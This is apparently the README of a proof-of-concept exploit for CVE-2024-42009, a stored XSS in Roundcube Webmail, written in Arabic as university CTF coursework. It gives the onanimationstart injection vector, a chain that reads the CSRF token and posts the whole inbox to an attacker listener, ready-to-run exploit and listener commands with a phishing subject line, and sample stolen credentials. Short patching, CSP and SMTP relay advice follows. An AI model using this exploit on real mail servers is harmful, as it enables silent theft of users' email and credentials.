
للاستخدام في الاختبارات الأمنية المصرّح بها، وبيئات CTF، والأبحاث التعليمية فقط.
استخدام هذه الأداة ضد أنظمة لا تملكها أو ليس لديك إذن كتابي لاختبارها يُعد غير قانوني بموجب قانون إساءة استخدام الحواسيب لعام 1990 (المملكة المتحدة)، وقانون CFAA (الولايات المتحدة)، والقوانين المماثلة في جميع أنحاء العالم.
| الحقل | التفاصيل |
|---|---|
| CVE | CVE-2024-42009 |
| البرنامج المتأثر | Roundcube Webmail ≤ 1.6.6 |
| الإصدار المُصحَّح | 1.6.7 / 1.6.8 |
| درجة CVSS v3.1 | 8.8 (عالية) |
| متجه CVSS | AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N |
| CWE | CWE-79 — عدم التحييد السليم للمدخلات أثناء توليد صفحة الويب (XSS) |
| نوع الهجوم | XSS مخزنة → استخراج البريد الإلكتروني بدون نقرات (Zero-click) |
| المصادقة المطلوبة | لا شيء (تسليم عبر SMTP)؛ منخفضة (يجب على الضحية فتح البريد الإلكتروني) |
يفشل مُعقّم HTML في Roundcube 1.6.6 في إزالة معالجات أحداث JavaScript المرتبطة بإطارات الرسوم المتحركة CSS الرئيسية (keyframes) داخل سمة وسم <body> غير سليمة.
متجه الحقن:
<style>@keyframes x { from { opacity: 1; } to { opacity: 1; } }</style>
<body style="animation: x 0.001s;" onanimationstart="/* arbitrary JS */">
سلسلة الاستغلال:
1. Attacker sends malicious HTML email to victim via unauthenticated SMTP relay (port 25)
2. Victim opens email in Roundcube — animation fires, JS executes (zero clicks required)
3. JS reads rcmail.env.request_token (valid CSRF token for the session)
4. JS iterates all inbox UIDs via Roundcube's internal mail API
5. Each message is fetched and its content collected
6. All inbox data is POSTed as JSON to the attacker's HTTP listener
7. Attacker reads recovered emails — may contain credentials, session data, or sensitive communications
cve-2024-42009-roundcube-xss/
├── exploit.py # Sends the XSS payload via unauthenticated SMTP
├── listener.py # CORS-capable HTTP server; receives and prints exfiltrated inbox data
├── payload.html # Standalone XSS payload for manual inspection or Burp delivery
└── README.md
smtplib، http.server، json، argparse)python3 listener.py --port 8080
المخرجات عند وصول البيانات:
[+] Exfiltration received from 192.168.62.128
[*] Session token : abc123...
[*] Emails captured: 19
--- Email 1 ---
UID : 1
From : [email protected]
Subject : SSH Access Credentials
Body : Your credentials are: ...
يُحفظ تفريغ JSON الكامل تلقائيًا في exfil_dump.json.
python3 exploit.py \
--smtp 192.168.62.128 \
--port 25 \
--from [email protected] \
--to [email protected] \
--attacker 192.168.62.129 \
--lport 8080 \
--subject "Security Advisory - Action Required"
بمجرد فتح البريد الإلكتروني في Roundcube ≤ 1.6.6، سيقوم المستمع بطباعة محتويات صندوق الوارد المسرّبة.
منقّي HTML في Roundcube مسؤول عن إزالة السمات الخطرة قبل عرض HTML الخاص بالبريد الإلكتروني الوارد. في الإصدارات ≤ 1.6.6، يزيل المنقّي بشكل صحيح معالجات onclick وonerror وما شابهها — لكنه لا يزيل معالجات الأحداث المرتبطة بأحداث الرسوم المتحركة CSS (onanimationstart، onanimationend، onanimationiteration).
نظرًا لأن الرسوم المتحركة CSS تشتعل كجزء من عملية العرض (وليس كتفاعل من المستخدم)، يتم تنفيذ المعالج لحظة فتح البريد الإلكتروني — دون أي نقرة على رابط، ودون أي إجراء من المستخدم سوى فتح الرسالة.
كائن JavaScript rcmail متاح عالميًا في كل جلسة Roundcube مصادَق عليها. وهو يكشف rcmail.env.request_token، أي رمز CSRF الخاص بالجلسة. وبالاقتران مع نقاط نهاية واجهة برمجة تطبيقات البريد الخاصة بـ Roundcube (?_task=mail&_action=list، ?_action=show)، يمكن للحمولة قراءة صندوق الوارد بالكامل دون إثارة أي مصادقة إضافية.
| الإصدار | الحالة |
|---|---|
| ≤ 1.6.6 | متأثر |
| 1.6.7 | مُصحَّح |
| 1.6.8 | مُصحَّح (موصى به) |
| 1.5.x LTS | راجع نشرة البائع الأمنية |
| الإجراء | التفاصيل |
|---|---|
| الترقية | الإصدار Roundcube 1.6.8 أو أحدث يصحّح هذه الفئة من ثغرات XSS |
| ترويسة CSP | انشر Content-Security-Policy: default-src 'self'; script-src 'self' على مضيف الويب (vhost) الخاص بالبريد الإلكتروني لمنع تنفيذ JavaScript المضمّن |
طُوّر برهان المفهوم (PoC) هذا واختُبر كجزء من تقييم اختبار اختراق CTF من نوع Boot-to-Root ضمن وحدة الاختراق الأخلاقي واختبار الاختراق، برنامج MSc في الأمن السيبراني، جامعة كوفنتري (2025–2026). أُجريت جميع الاختبارات في بيئة مختبرية معزولة على VMware وبإذن كتابي صريح.
المؤلف: Segun Akinsoyinu
محفظة الأعمال: segunakinsoyinu.github.io/MyPortfolio
يُنشر هذا الكود لأغراض البحث الأمني التعليمي والمصرّح به فقط. لا يتحمّل المؤلف أي مسؤولية عن سوء الاستخدام. قبل استخدام هذه الأداة، تأكد من حصولك على إذن كتابي صريح لاختبار النظام الهدف.
| الوسيط | الوصف |
|---|
--smtp | عنوان IP أو اسم مضيف خادم SMTP الهدف |
--port | منفذ SMTP (الافتراضي: 25) |
--from | عنوان المرسل (أي قيمة يقبلها المرحّل) |
--to | عنوان البريد الإلكتروني للضحية |
--attacker | عنوان IP الخاص بك — يُضمَّن في الحمولة كوجهة لجمع البيانات المسرّبة |
--lport | منفذ المستمع الخاص بك (الافتراضي: 8080) |
--subject | سطر موضوع البريد الإلكتروني |
| مرحّل SMTP | عطّل التمرير غير المصادَق على المنفذ 25 — واطلب AUTH لجميع عمليات التسليم الداخلية |